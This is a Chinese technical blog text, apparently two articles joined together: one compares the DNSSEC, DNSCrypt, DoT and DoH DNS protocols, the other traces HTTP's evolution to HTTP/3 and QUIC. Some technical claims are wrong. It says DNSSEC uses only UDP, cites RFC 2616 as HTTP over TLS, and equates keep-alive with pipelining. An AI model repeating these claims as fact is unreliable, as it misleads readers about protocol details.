当初设计 DNSSEC 的一个考虑是“尽可能兼容 DNS 协议”。所以 DNSSEC 只是在 DNS 协议的基础上增加了一个【数字签名机制】。
有了数字签名,如果域名查询的结果被人篡改了,DNSSEC 客户端就可以通过【校验签名】,判断查询结果是假的。套用信息安全的行话——DNSSEC 实现了【完整性】(也叫“不可篡改性”)。
由于 DNSSEC 引入了【数字签名】,就需要有【公私钥对】。私钥是保密的,用来生成签名;公钥是公开的,用来验证签名。DNSSEC 客户端可以向 DNSSEC 服务器发出请求,获得一个 DNSKEY 记录,里面含公钥;然后用这个公钥校验每次的查询结果。
有些聪明的读者会问了:DESSEC 客户端在向服务器请求公钥的过程中,如果被攻击者篡改了,得到一个假的公钥,那该如何是好?
为了解决此问题,DNSSEC 体系要求【上级域】来担保。比如想要证明 program-think.blogspot.com 这个域名的公钥是否可信,就依靠 blogspot.com 这个域名的公钥来验证。通过层层追溯,最后达到【根域名服务器】。而“根域名服务器的公钥”是事先就部署在客户端的——这玩意儿就是整个信任链的根源,称之为“信任锚”(洋文叫“Trust Anchor”)。
在今天聊的4个协议中,DNSSEC 应该是最成熟的。除了前面提到的广泛部署,大多数公共的域名服务器也都支持它。维基百科上有一个对照表(链接在“这里”),对比了有名气的几个公共域名服务系统。在今天聊的4个协议中,支持 DNSSEC 的最多。
虽然 DNSSEC 最成熟,但它有个天生的缺陷——【没有】考虑到【保密性】。
DNSSEC 虽然对传输的数据做了数字签名,但是【没有】进行加密。这就意味着——任何能监视你网络流量的人,也可以看到你通过 DNSSEC 查询了哪些域名。隐私风险大大滴!
Chrome 曾经在 14 版本支持过 DNSSEC,后来又【移除】了;而 Firefox 官方从未支持过 DNSSEC 协议。俺猜测:大概就是这个缺点给闹的。
第2个出场的是 DNSCrypt。这个协议是由 Frank Denis 和 Yecheng Fu(付业成)两人设计的。
这个协议从来【没有】提交过 RFC(征求意见稿),要想看它的协议实现,只能去它的官网(链接在“这里”)。
历史上有过两个版本,分别称:Version 1 和 Version 2。如今主要使用“版本2”
----------------
DNSCrypt
----------------
TCP or UDP
----------------
IP
----------------
前面俺提到 DNSSEC 协议强调兼容性。而 DNSCrypt 则完全是另起炉灶搞出来的协议。在这个协议中,域名的“查询请求”与“响应结果”都是加密的。这就是它比 DNSSEC 高级的地方。
换句话说,DNSCrypt 既能做到【完整性】,也能做到【保密性】;相比之下,DNSSEC 只能做到【完整性】。
DNSCrypt 的信任链比较简单——客户端要想使用哪个 DNSCrypt 服务器,就需要预先部署该服务器的公钥。
另外,DNSCrypt 还支持客户端认证(作为可选项)。如果需要的话,可以在服务器上部署客户端的公钥。此时,服务器只接受可信的客户端的查询请求。
如前所述,DNSCrypt 同时支持【完整性】与【保密性】。在隐私方面完胜 DNSSEC。
在下层协议方面,DNSCrypt 同时支持 TCP 和 UDP,显然比 DNSSEC 灵活(DNSSEC 只支持 UDP)。
顺便提醒一下:虽然 DNSCrypt 协议默认使用 443 这个端口号,但该协议与 HTTPS 毫无关系。
(俺个人认为)DNSCrypt 最大的缺点就是前面提到的:【从未】提交过 RFC。没有 RFC 也就无法通过 IETF(互联网工程任务组)进行标准化。一个无法标准化的协议,其生命力要打很大的折扣。
另一个比较小的缺点是——虽然 DNSCrypt 协议是加密的,但可以被识别出来。换句话说:如果有人监控你的流量,可以识别出哪些流量属于 DNSCrypt 协议。为啥说这是个缺点捏?在本文末尾讨论 “DNSCrypt 与 TLS 的安全性对比” 的时候,会详细加以说明。
再来说说【公共 DNS 系统】。截至俺写本文时,Google 和 Cloudflare 的公共域名系统【尚未】支持 DNSCrypt(参见这个页面的对照表)。这也是一个缺点。
“DNS over TLS”有时也被简称为【DoT】。为了打字省力,本文以下部分用 DoT 来称呼之。
DoT 已经正式发布了 RFC(参见 RFC 7858 和 RFC 8310)。
从时间上看,RFC7858 是2016年发布的,RFC8310 是今年(2018)发布的;显然,这个协议出现得比较晚(相比前面提到的 DNSSEC 和 DNSCrypt)。
--------
DoT
--------
TLS
--------
TCP
--------
IP
--------
顾名思义,DNS over TLS 就是基于 TLS 隧道之上的域名协议。由于 TLS 本身已经实现了【保密性】与【完整性】,因此 DoT 自然也就具有这两项特性。
至于 TLS 协议是如何实现完整性与保密性滴?可以参见俺的系列博文:《扫盲 HTTPS 和 SSL/TLS 协议》
DoT 的信任链依赖于 TLS,而 TLS 的信任链靠的是 CA 证书体系。
关于 CA 证书体系,可以参见8年前的博文:《数字证书及 CA 的扫盲介绍》
相比 DNSSEC,DoT 具备了【保密性】;相比 DNSCrypt,DoT 已经标准化。
另外,由于 DoT 协议是完全包裹在 TLS 里面,即使有人监视你的上网流量,也无法判断——哪些 TLS 流量是用于域名查询,哪些 TLS 用于网页传输。换句话说,DoT 协议的流量无法被【单独识别】出来。
支持 DoT 的客户端还不够多。尤其是主流的浏览器还没有计划增加 DoT 的支持。
“DNS over HTTPS”有时也被简称为【DoH】。为了打字省力,本文以下部分用 DoH 来称呼之。
在今天介绍的4个协议中,DoH 是最新的(最晚出现的)。RFC 方面,它已经有了相应的草案,但还【没有】正式发布。截至俺写本文时,DoH 的草案已经发了 15 个版本(从 00 到 14),最新版的链接在“这里”。
很多人把 DoH 与 DoT 混为一谈,实际上这是两种不同的协议。你可以对比这两者的协议栈,(只要你眼睛不瞎)就可看出其中的差别。
--------
DoH
--------
HTTP
--------
TLS
--------
TCP
--------
IP
--------
顾名思义,DNS over HTTPS 就是基于 HTTPS 隧道之上的域名协议。而 HTTPS 又是“HTTP over TLS”。所以 DoH 相当于是【双重隧道】的协议。
与 DoT 类似,DoH 最终也是依靠 TLS 来实现了【保密性】与【完整性】。
至于 TLS 协议是如何实现完整性与保密性滴?可以参见俺的系列博文:《扫盲 HTTPS 和 SSL/TLS 协议》
DoH 类似于 DoT,最终是靠 TLS 所使用的“CA 证书体系”来实现信任链。
关于 CA 证书体系,可以参见8年前的博文:《数字证书及 CA 的扫盲介绍》
基本上,DoT 具备的优点,DoH 也具备。
相比 DoT,DoH 还多了一个优点:
由于 DoH 是基于 HTTP 之上。而主流的编程语言都有成熟的 HTTP 协议封装库;再加上 HTTP 协议的使用本身很简单。因此,要想用各种主流编程语言开发一个 DoH 的客户端,是非常容易滴。
如前所述,DoH 目前还只有 RFC 的草案,尚未正式发布。这算是一个缺点。
相比 DoT,DoH 还有一个小缺点——由于 DoH 比 DoT 多了一层(请对比两者的协议栈),所以在性能方面,DoH 会比 DoT 略差。为啥说这是个【小】缺点捏?因为域名的查询并【不】频繁,而且客户端软件可以很容易地对域名的查询结果进行【缓存】(以降低查询次数)。所以 DoH 比 DoT 性能略差,无伤大雅。
为了给列位看官一个直观的印象,放一个综合的对照表。
接着来聊一下:4个协议中,谁的前景最看好?(以下是俺个人观点,仅供参考)
如果要讨论这4种协议的优劣,首先【出局】的是 DNSSEC。因为这玩意儿连【保密性】都不具备,无法保护网民的隐私。相比之下,另外三种协议都具备了“保密性”。
(注:DNSSEC 具备“完整性”,不具备“保密性”)
DoT 与 DoH 这两个协议,本质上都是依赖 TLS 来保证安全性(完整性&保密性)。所以剩下三种协议的对比,首先是 DNSCrypt 与 TLS 之间的 PK。
俺认为 TLS 具有如下几个优势:
优势1——关于“标准化”
SSL/TLS 老早就已经标准化了,距今已超过20年。(关于 SSL/TLS 版本的演变历史,可以参见这篇博文)
而 DNSCrypt 发布这么多年,连 RFC 都没有提交过——这玩意儿看来【没希望】成为互联网标准了。
优势2——关于“客户端部署”
TLS 的公钥体系(CA 证书体系)早就已经普及。所有主流的操作系统都内置了一系列 CA 根证书。
相比之下,DNSCrypt 另起炉灶搞了一套公钥机制,只有它自己在用。
所以,在【部署客户端】的时候,DNSCrypt 会比 TLS 麻烦。虽然某些 DNSCrypt 的客户端已经内置了一些知名的公共服务器的公钥,但如果你要切换到另一个 DNSCrypt 服务器,并且该服务器的公钥没有内置在客户端里面,那你就需要手动部署。
优势3——关于“协议识别”
这个话题前面已经谈过了。此处再重复唠叨一下。
如果网络流量被监控,监控者可以根据协议特征,把 DNSCrypt 识别出来;而 DoT 与 DoH,在流量外观上,与其它的 TLS 流量【毫无差异】。也就是说,监控流量的人,无法判断某个 TLS 流量是否属于 DoT 或 DoH。
综上所述,TLS 完胜 DNSCrypt。所以,剩下的协议就只有 DoT 与 DoH。
前面谈 DoH 优缺点的时候,其实已经可以看出这两者谁更有前途了。
DoT 因为协议栈少了一层,性能会比 DoH 更好。但是俺前面也说了,域名查询的频度是比较低的,而且还可以利用客户端软件的【DNS 缓存】,进一步减少域名查询的频度。所以 DoT 虽然性能更好,但优势不明显。
DoH 的强项体现在如下几方面:
1. 编程接口更简单
(关于这点,前面提到过)这是个很重要的优势——有助于让更多软件切换到 DoH 之上。
2. 可以利用 HTTP 协议已有的特性
由于 DoH 是基于 HTTPS 之上,可以无缝地支持 Proxy;
DoH 可以充分利用 HTTP 2.0 的特性(HTTP/2 在 HTTP/1.1 基础上加了很多功能)。
正是因为 DoH 的这些优势,浏览器厂商对 DoH 的支持更积极。对比一下就可以看出来——DoT 在两年前(2016)正式发布 RFC,主流的浏览器没一个支持;而 DoH 目前才仅仅是 RFC 草案,Firefox 与 Chrome/Chromium 都开始支持了。
经过层层淘汰,目前看下来最有前途的应该 DoH(DNS over HTTPS)。
DoH 未来的发展势头取决于如下几点:
分享几篇 DoH 相关的文章:
《A cartoon intro to DNS over HTTPS》
(注:这是 Mozilla 官方博客的一篇文章,深入浅出地扫盲了 DNS 和 DoH 的原理)
《The Benefits of HTTPS for DNS》
(注:这是某个老外写的技术文章,讨论 DoH 可以借助 HTTP 协议的哪些好处)
Firefox
Firefox 从 62 版本开始支持 DoH,具体参见 Mozilla 官方博客(链接在“这里”)。
由于 DoH 功能刚刚加入,还没有提供相应的配置界面。如果你想体验该功能,需要定制 Firefox 的配置选项(Preferences)以初始化 DoH 的相关参数。定制 Firefox 的方法参见博文:《扫盲 Firefox 定制——从“user.js”到“omni.ja”》
Chrome/Chromium
Chrome/Chromium 从 66 版本开始支持 DoH。具体参见 Chromium 官网的 issue(链接在“这里”)。
虽然 Firefox 和 Chrome/Chromium 都已经开始支持 DoH,但大伙儿别急着用。
按照历史经验,刚加入的新功能,可能还不够稳定,没准儿还存在未曝光的安全漏洞。多等几个版本之后再说。
在 curl 官方的代码仓库,有一个关于 DoH 的 wiki 页面,里面列出了一些 DoH 的客户端小工具。
喜欢折腾技术的同学,可以先去玩一玩。
因为 DoH 的标准还没有正式发布,关于它的讨论就到此为止。等到啥时候发布了,俺再专门发一篇 DoH 如何使用的博文。
]]>本文不致力于讲完 HTTP 的全部内容,事实上短短的篇幅也不可能讲完。本文也无意于深挖 HTTP 中的某一点,这是像 《HTTP 权威指南》或者是 RFC 协议做的事。
本文目标是帮助读者理清 HTTP 的演化过程,说说 HTTP 变化的那些事。
HTTP 最初是 Tim BernersLee 1989 年在欧洲核子研究组织(CERN)所发起的。Tim BernersLee 提出了一种能让远隔两地的研究者们共享知识的设想。这个设想的基本理念是:借助多文档之间相互关联形成的超文本(HyperText),连成可相互参阅的 WWW(World Wide Web,万维网)。用于传输的超文本传输协议(HyperText Transfer Protocol),即 HTTP 由此诞生。
WWW 这一名称,是 Web 浏览器当年用来浏览超文本的客户端应用程序时的名称。现在则用来表示这一系列的集合,也可简称为 Web。
HTTP 本身是一个简单的请求-响应协议,它通常运行在 TCP 之上。从整个网络模型来看,HTTP 是应用层的一个协议。在 OSI 七层模型中,HTTP 位于最上层。它并不涉及数据包的传输,只是规定了客户端和服务器之间的通信格式。定了客户端可能发送给服务器什么样的消息以及得到什么样的响应。请求和响应消息的头以 ASCII 码形式给出。
HTTP 采用 BS 架构,也就是浏览器到服务器的架构,客户端通过浏览器发送 HTTP 请求给服务器,服务器经过解析响应客户端的请求。就是这个简单实用的模型,使得 HTTP 这个基于 TCP/IP 的协议迅速推广。
HTTP 的演化并不是一蹴而就的。当年 HTTP 的出现主要是为了解决文本传输的难题。由于协议本身非常简单,于是在此基础上设想了很多应用方法并投入了实际使用。现在 HTTP 已经超出了 Web 这个框架的局限,被运用到了各种场景里。
HTTP 协议最早的一个版本是 1990 年发布的 HTTP/0.9。
前面说到,HTTP 于 1989 年问世。那时的 HTTP 并没有作为正式的标准被建立。这时的 HTTP 其实含有 HTTP/1.0 之前版本的意思,因此被称为 HTTP/0.9。这个版本只有一个命令:GET。通过 GET 可以获取服务器的资源,比如请求服务器根目录下的 index.html 文件。这个版本的协议规定,服务器只能回应 HTML 格式的字符串,不能回应其它格式,也就是说图像、视频等多媒体资源,在 HTTP/0.9 这个版本上是无法进行传输的。
HTTP 正式作为标准被公布是在 1996 年的 5 月,版本被命名为 HTTP/1.0,并记载于 RFC1945 。虽说是初期标准,但该协议标准至今仍被广泛使用在服务器端。
HTTP/1.0 版本发布,增加了 POST 命令和 HEAD 命令,丰富了浏览器与服务器的互动手段。这个版本的 HTTP 协议可以发送任何格式的内容,包括传输文字、图像、视频、文件等,这为互联网的大发展奠定了基础。
HTTP/1.0 除了增加了请求方法以及对发送文件的支持之外,还增加了格式的改变。除了数据部分,每次通信都必须包括头信息(HTTP header),用来描述一些元数据。另外还增加了状态码、多字符集支持、多部分发送(multi-part type)、权限(authorization)、缓存(cache)、内容编码(content encoding)等等。
HTTP/1.0 版也并不是完美的,它的主要缺点是,每一次建立 TCP 连接只能发送一个请求。发送数据完毕,连接就关闭,如果还要请求其他资源,就必须再新建一个连接。如果多次请求,势必就会对服务器产生较大的资源性能损耗。
1997 年 1 月公布的 HTTP/1.1 是目前主流的 HTTP 协议版本。当初的标准是 RFC2068,之后发布的修订版 RFC2616 就是当前的最新版本。
其中最著名的是 1999 年 6 月公布的 RFC 2616,定义了 HTTP 协议中现今广泛使用的一个版本——HTTP/1.1。
这个版本最大的变化就是将持久化连接加入了 HTTP 标准,即 TCP 连接默认不关闭,可以被多个请求复用。此外,HTTP/1.1 版还新增了许多方法,例如:PUT、PATCH、HEAD、OPTIONS、DELETE。得到进一步完善的HTTP/1.1 版本,一直沿用至今。
客户端发送一个 HTTP 请求到服务器,请求消息包括以下格式:
请求行(request line)、请求头部(header)、空行和请求数据四个部分组成。
Get 请求例子
> GET / HTTP/1.1
> Host: www.baidu.com
> User-Agent: curl/7.52.1
> Accept: /
第一部分:请求行,用来说明请求类型,要访问的资源以及所使用的 HTTP 版本。
第二部分:请求头部,紧接着请求行(即第一行)之后的部分,用来说明服务器要使用的附加信息
从第二行起为请求头部,HOST 将指出请求的目的地。User-Agent,服务器端和客户端脚本都能访问它,它是浏览器类型检测逻辑的重要基础。该信息由你的浏览器来定义,并且在每个请求中自动发送等等。
第三部分:空行,请求头部后面的空行是必须的
即使第四部分的请求数据为空,也必须有空行。
第四部分:请求数据也叫主体,可以添加任意的其他数据。
这个例子的请求数据为空。
一般情况下,服务器接收并处理客户端发过来的请求后,会返回一个 HTTP 的响应消息。
HTTP 响应也由四个部分组成,分别是:状态行、消息报头、空行和响应正文。
例子:
< HTTP/1.1 200 OK
< Accept-Ranges: bytes
< Cache-Control: private, no-cache, no-store, proxy-revalidate, no-transform
< Connection: keep-alive
< Content-Length: 2381
< Content-Type: text/html
< Date: Thu, 11 Jun 2020 16:04:33 GMT
< Etag: "588604c8-94d"
< Last-Modified: Mon, 23 Jan 2017 13:27:36 GMT
< Pragma: no-cache
< Server: bfe/1.0.8.18
< Set-Cookie: BDORZ=27315; max-age=86400; domain=.baidu.com; path=/
<
第一部分:状态行,由 HTTP 协议版本号、状态码、状态消息三部分组成。
第一行为状态行,(HTTP/1.1)表明 HTTP 版本为 1.1 版本,状态码为 200,状态消息为(ok)
第二部分:消息报头,用来说明客户端要使用的一些附加信息
第二行和第三行为消息报头。
Date:生成响应的日期和时间;Content-Type:指定了 MIME 类型的 HTML(text/html),编码类型是 UTF-8
第三部分:空行,消息报头后面的空行是必须的
第四部分:响应正文,服务器返回给客户端的文本信息。
空行后面的 HTML 部分为响应正文。
状态代码有三位数字组成,第一个数字定义了响应的类别,共分五种类别:
HTTP 的诞生是为了解决信息传递和共享的问题,并没有考虑到互联网高速发展后面临的安全问题。
一般来说 HTTP 从 TCP 三次握手后,便开始了数据传输。由于 HTTP 本身以明文形式来传输数据,并不具备任何数据加密、身份校验的机制。同时下层协议并不对数据安全性、保密性提供保证。所以在网络传输的过程中,任意节点的第三方都可以随意劫持流量、篡改数据或窃取信息。
HTTP 无法确保数据的保密性、完整性和真实性,已经不能适应现代互联网应用的安全需求。
随着 Web 的日益壮大,HTTP 的使用呈巨额增长趋势,对信息安全的需求也愈来愈迫切,SSL(Secure SocketsLayer ,安全套接层)应运而生。
当对于安全需求,首先想到的就是对信息进行加密。SSL ,安全套接层,顾名思义是在 TCP 上提供的安全套接字层。其位于应用层和传输层之间,应用层数据不再直接传递给传输层而是传递给 SSL 层,SSL 层对从应用层收到的数据进行加密,利用数据加密、身份验证和消息完整性验证机制,为网络上数据的传输提供安全性保证。HTTPS 便是指 Hyper Text Transfer Protocol over SecureSocket Layer。
谈到具体实施上,业内通常采用的一般有对称加密和非对称加密。采用何种方式进行加密?如何判断服务器未被篡改?如何传递加密密钥?带着这样的问题,我们来看看 HTTPS 的工作流程。
这个没什么好说的,就是用户在浏览器里输入一个 HTTPS 网址,然后连接到 server 的 443 端口。
采用 HTTPS 协议的服务器必须要有一套数字证书,可以自己制作,也可以向组织申请,区别就是自己颁发的证书需要客户端验证通过,才可以继续访问,而使用受信任的公司申请的证书则不会弹出提示页面(Let‘s Encrypt 就是个不错的选择,免费的 SSL 证书)。
这套证书其实就是一对公钥和私钥,如果对公钥和私钥不太理解,可以想象成一把钥匙和一个锁头,只是全世界只有你一个人有这把钥匙,你可以把锁头给别人,别人可以用这个锁把重要的东西锁起来,然后发给你,因为只有你一个人有这把钥匙,所以只有你才能看到被这把锁锁起来的东西。
这个证书其实就是公钥,只是包含了很多信息,如证书的颁发机构,过期时间等等。
这部分工作是有客户端的 TLS 来完成的,首先会验证公钥是否有效,比如颁发机构,过期时间等等,如果发现异常,则会弹出一个警告框,提示证书存在问题。
如果证书没有问题,那么就生成一个随机值,然后用证书对该随机值进行加密,就好像上面说的,把随机值用锁头锁起来,这样除非有钥匙,不然看不到被锁住的内容。
这部分传送的是用证书加密后的随机值,目的就是让服务端得到这个随机值,以后客户端和服务端的通信就可以通过这个随机值来进行加密解密了。
服务端用私钥解密后,得到了客户端传过来的随机值(私钥),然后把内容通过该值进行对称加密,所谓对称加密就是,将信息和私钥通过某种算法混合在一起,这样除非知道私钥,不然无法获取内容,而正好客户端和服务端都知道这个私钥,所以只要加密算法够彪悍,私钥够复杂,数据就够安全。
这部分信息是服务段用私钥加密后的信息,可以在客户端被还原。
客户端用之前生成的私钥解密服务段传过来的信息,于是获取了解密后的内容,整个过程第三方即使监听到了数据,也束手无策。
简单说完了 HTTPS 的工作流程。让我们再将注意力放在 SSL 的演化上。
1994年,Netscape 创建了 SSL 协议的原始规范并逐步发布协议改进版本。1995 年发布 SSL 2.0。1996年,Netscape 和 Paul Kocher 共同设计发布 SSL 3.0 协议,获得互联网广泛认可和支持。因特网工程任务组(IETF)接手负责该协议,并将其重命名为 TLS(传输层安全)协议。
我们看到,SSL 2.0 规范是在 1995 年左右发布的,而 SSL 3.0 是在 1996 年 11 月发布的。有趣的是,SSL 3.0 是在 RFC 6101 中描述的,该 RFC 于 2011 年 8 月发布。它位于历史类别中,该类别通常是被考虑和被丢弃的文档想法,或者是在决定记录它们时已经具有历史意义的协议(根据 IETF 说明)。在这种情况下,有一个描述 SSL 3.0 的 IETF 文档是很有必要的,因为在其可以被用作规范参考。
再来看看,SSL 是如何激发 TLS 的发展的。后者在 1996 年 11 月以 draft-ietf-tls-protocol-00 宣告开始。它经历了六个草案版本,并于 1999 年初作为 RFC 2246 - TLS 1.0 正式发布。
在 1995 和 1999 年间,SSL 和 TLS 协议用于保护互联网上的 HTTP 通信。这作为事实上的标准运行良好。直到 1998 年 1 月,随着 I-D draft-ietf-tls-HTTPs-00 的发布,HTTPS 的正式标准化过程才开始。该工作于 2000 年 5 月以 RFC 2616 - HTTP 上的 TLS 的发布结束。
TLS 在 2000 到 2007 年间继续发展,标准化为 TLS 1.1 和 1.2。直至七年后,TLS 的下一个版本开始进行,该版本在 2014 年四月被采纳为 draft-ietf-tls-tls13-00 ,并在 28 份草稿后,于 2018 年八月出了完成版本 RFC 8446- TLS 1.3。
回到 HTTP 本身。在很长一段时间里,HTTP/1.1 已经足够好了(确实是,现在仍应用最为广泛),但是,Web 不断变化的需求使得我们需要一个更好更合适的协议。
HTTP/1.1 自从 1997 年发布以来,我们已经使用 HTTP/1.x 相当长一段时间了。但随着互联网近十年爆炸式的发展,从当初网页内容以文本为主,到现在以富媒体(如图片、声音、视频)为主,而且对页面内容实时性高要求的应用越来越多(比如聊天、视频直播),所以当时协议规定的某些特性,已经逐渐无法满足现代网络的需求了。
如果你有仔细观察,那些最流行的网站首页所需要下载资源的话,会发现一个非常明显的趋势。近年来加载网站首页需要下载的数据量在逐渐增加,并已经超过了 2100K。但在这里我们更关心的是:平均每个页面为了完成显示与渲染所需要下载的资源数也已经超过了 100 个。
基于此,在 2010 年到 2015 年,谷歌通过实践一个实验性的 SPDY 协议,证明了一个在客户端和服务器端交换数据的另类方式。其收集了浏览器和服务器端的开发者的焦点问题,明确了响应数量的增加和解决复杂的数据传输。在启动 SPDY 这个项目时预设的目标是:
HTTP/1.1 有两个主要的缺点:安全不足和性能不高,由于背负着 HTTP/1.x 庞大的历史包袱,所以协议的修改,兼容性是首要考虑的目标,否则就会破坏互联网上无数现有的资产。
而如上图所示,SPDY 位于 HTTP 之下,TCP 和 SSL 之上,这样可以轻松兼容老版本的 HTTP 协议同时可以使用已有的 SSL 功能。
SPDY 协议在 Chrome 浏览器上证明可行以后,就被当作 HTTP/2 的基础,主要特性都在 HTTP/2 之中得到继承。
于是时间来到 2015 年,HTTP/2.0 问世。
HTTP/2 相比 HTTP/1.1 的修改并不会破坏现有程序的工作,但是新的程序可以借由新特性得到更好的速度。
HTTP/2 保留了 HTTP/1.1 的大部分语义,例如请求方法、状态码、乃至 URI 和绝大多数 HTTP 头部字段一致。而 HTTP/2 采用了新的方法来编码、传输客户端和服务器间的数据。
来看看 HTTP/2 的具体特点:
虽然 HTTP/2 提高了网页的性能,但是并不代表它已经是完美的了,HTTP/3 就是为了解决 HTTP/2 所存在的一些问题而被推出来的。随着时间的演进,越来越多的流量都往手机端移动,手机的网络环境会遇到的问题像是封包丢失机率较高、较长的 Round Trip Time (RTT)和连接迁移等问题,都让主要是为了有线网路设计的HTTP/TCP协议遇到贫颈。
我们可以看两个典型的问题。
第一握手带来的消耗。HTTP/2 使用 TCP 协议来传输的,而如果使用 HTTPS 的话,还需要使用 TLS 协议进行安全传输,而使用 TLS 也需要一个握手过程,这样就需要有两个握手延迟过程:
总之,在传输数据之前,我们需要花掉 3~4 个 RTT。
第二,TCP 的队头阻塞并没有得到彻底解决。我们知道,为了实现多路复用,在 HTTP/2 中多个请求是跑在一个 TCP 管道中的。但当出现了丢包时,HTTP/2 的表现反倒不如 HTTP/1.X 了。因为 TCP 为了保证可靠传输,有个特别的丢包重传机制,丢失的包必须要等待重新传输确认,HTTP/2 出现丢包时,整个 TCP 都要开始等待重传,那么就会阻塞该 TCP 连接中的所有请求。而对于 HTTP/1.1 来说,可以开启多个 TCP 连接,出现这种情况反到只会影响其中一个连接,剩余的 TCP 连接还可以正常传输数据。
至此,我们很容易就会想到,为什么不直接去修改 TCP 协议?其实这已经是一件不可能完成的任务了。因为 TCP 存在的时间实在太长,已经充斥在各种设备中,并且这个协议是由操作系统实现的,更新起来非常麻烦,不具备显示操作性。
HTTP/3 乘着 QUIC 来了。
HTTP3 是基于 QUIC 的协议,如上图。先说 QUIC,QUIC 协议是 Google 提出的一套开源协议,它基于 UDP 来实现,直接竞争对手是 TCP 协议。QUIC 协议的性能非常好,甚至在某些场景下可以实现 0-RTT 的加密通信。
在 Google 关于 QUIC https://docs.google.com/document/d/1gY9-YNDNAB1eip-RTPbqphgySwSNSDHLq9D5Bty4FSU/edit 的文件中提到,与 HTTP/2 相比,QUIC 主要具有下列优势:
这句话说起来很容易,但理解起来并不那么显然,要想理解 QUIC 协议到底做了什么以及这么做的必要性,我想还是从最基础的 HTTP/1.0 聊起比较合适。
根据谷歌的调查, 现在请求一个网页,平均涉及到 80 个资源,30 多个域名。考虑最原始的情况,每请求一个资源都需要建立一次 TCP 请求,显然不可接受。HTTP 协议规定了一个字段 Connection,不过默认的值是 close,也就是不开启。
早在 1999 年提出的 HTTP 1.1协议 中就把 Connection 的默认值改成了Keep-Alive,这样同一个域名下的多个 HTTP 请求就可以复用同一个 TCP 连接。这种做法被称为 HTTP Pipeline,优点是显著的减少了建立连接的次数,也就是大幅度减少了 RTT。
以上面的数据为例,如果 80 个资源都要走一次 HTTP 1.0,那么需要建立 80 个 TCP 连接,握手 80 次,也就是 80 个 RTT。如果采用了 HTTP 1.1 的 Pipeline,只需要建立 30 个 TCP 连接,也就是 30 个 RTT,提高了 62.5% 的效率。
Pipeline 解决了 TCP 连接浪费的问题,但它自己还存在一些不足之处,也就是所有管道模型都难以避免的队头阻塞问题。
我们再举个简单而且直观的例子,假设加载一个 HTML 一共要请求 10 个资源,那么请求的总时间是每一个资源请求时间的总和。最直观的体验就是,网速越快请求时间越短。然而如果某一个资源的请求被阻塞了(比如 SQL 语句执行非常慢)。但对于客户端来说所有后续的请求都会因此而被阻塞。
队头阻塞(Head of line blocking,下文简称 HOC)说的是当有多个串行请求执行时,如果第一个请求不执行完,后续的请求也无法执行。比如上图中,如果第四个资源的传输花了很久,后面的资源都得等着,平白浪费了很多时间,带宽资源没有得到充分利用。
因此,HTTP 协议允许客户端发起多个并行请求,比如在笔者的机器上最多支持六个并发请求。并发请求主要是用于解决 HOC 问题,当有三个并发请求时,情况会变成这样:
可见虽然第四个资源的请求被阻塞了,但是其他的资源请求并不一定会被阻塞,这样总的来说网络的平均利用率得到了提升。
支持并发请求是解决 HOC 问题的一种方案,这句话没有错。但是我们要理解到:“并发请求并非是直接解决了 HOC 的问题,而是尽可能减少 HOC 造成的影响“,以上图为例,HOC 的问题依然存在,只是不会太浪费带宽而已。
有读者可能会好奇,为什么不多搞几个并发的 HTTP 请求呢?刚刚说过笔者的电脑最多支持 6 个并发请求,谷歌曾经做过实验,把 6 改成 10,然后尝试访问了三千多个网页,发现平均访问时间竟然还增加了 5% 左右。这是因为一次请求涉及的域名有限,再多的并发 HTTP 请求并不能显著提高带宽利用率,反而会消耗性能。
有没有办法解决队头阻塞呢?
答案是肯定的。SPDY 协议的做法很值得借鉴,它采用了多路复用(Multiplexing)技术,允许多个 HTTP 请求共享同一个 TCP 连接。我们假设每个资源被分为多个包传递,在 HTTP 1.1 中只有前面一个资源的所有数据包传输完毕后,后面资源的包才能开始传递(HOC 问题),而 SPDY 并不这么要求,大家可以一起传输。
这么做的代价是数据会略微有一些冗余,每一个资源的数据包都要带上标记,用来指明自己属于哪个资源,这样客户端最后才能把他们正确的拼接起来。不同的标记可以理解为图中不同的颜色,每一个小方格可以理解为资源的某一个包。
是不是觉得 SPDY 的多路复用已经够厉害了,解决了队头阻塞问题?很遗憾的是,并没有,而且我可以很肯定的说,只要你还在用 TCP 链接,HOC 就是逃不掉的噩梦,不信我们来看看 TCP 的实现细节。
我们知道 TCP 协议会保证数据的可达性,如果发生了丢包或者错包,数据就会被重传。于是问题来了,如果一个包丢了,那么后面的包就得停下来等这个包重新传输,也就是发生了队头阻塞。当然 TCP 协议的设计者们也不傻,他们发明了滑动窗口的概念:
这样的好处是在第一个数据包(1-1000) 发出后,不必等到 ACK 返回就可以立刻发送第二个数据包。可以看出图中的 TCP 窗口大小是 4,所以第四个包发送后就会开始等待,直到第一个包的 ACK 返回。这样窗口可以向后滑动一位,第五个包被发送。
如果第一、二、三个的包都丢失了也没有关系,当发送方收到第四个包时,它可以确信一定是前三个 ACK 丢了而不是数据包丢了,否则不会收到 4001 的 ACK,所以发送方可以大胆的把窗口向后滑动四位。
滑动窗口的概念大幅度提高了 TCP 传输数据时抗干扰的能力,一般丢失一两个 ACK 根本没关系。但如果是发送的包丢失,或者出错,窗口就无法向前滑动,出现了队头阻塞的现象。
所以说 HOC 不仅仅在 HTTP 层存在,在 TCP 层也存在,这也正是 QUIC 协议要解决的问题。回顾 SPDY 是如何解决 HOC 的,没错,多路复用(Multiplex)。QUIC 协议也采用了多路复用技术。
UIC 协议基于 UDP 实现,我们知道 UDP 协议只负责发送数据,并不保证数据可达性。这一方面为 QUIC 的多路复用提供了基础,另一方面也要求 QUIC 协议自己保证数据可达性。
SPDY 为各个数据包做好标记,指明他们属于哪个 HTTP 请求,至于这些包能不能到达客户端,SPDY 并不关心,因为数据可达性由 TCP 协议保证。既然客户端一定能收到包,那就只要排序、拼接就行了。QUIC 协议采用了多路复用的思想,但同时还得自己保证数据的可达性。
TCP 协议的丢包重传并不是一个好想法,因为一旦有了前后顺序,队头阻塞问题将不可避免。而无序的数据发送给接受者以后,如何保证不丢包,不错包呢?这看起来是个不可能完成的任务,不过如果把要求降低成:最多丢一个包,或者错一个包。事情就简单多了,操作系统中有一种存储方式叫 RAID 5,采用的是异或运算加上数据冗余的方式来保证前向纠错(FEC: Forward Error Correcting)。QUIC 协议也是采用这样的思想,这里不再赘述。
利用冗余数据的思想,QUIC 协议基本上避免了重发数据的情况。当然 QUIC 协议还是支持重传的,比如某些非常重要的数据或者丢失两个包的情况。
前面说到,一次 HTTPS 请求,它的基本流程是三次 TCP 握手外加四次 SSL/TLS 握手。也就是需要三个 RTT。但是 QUIC 在某些场景下,甚至能够做到 0RTT。
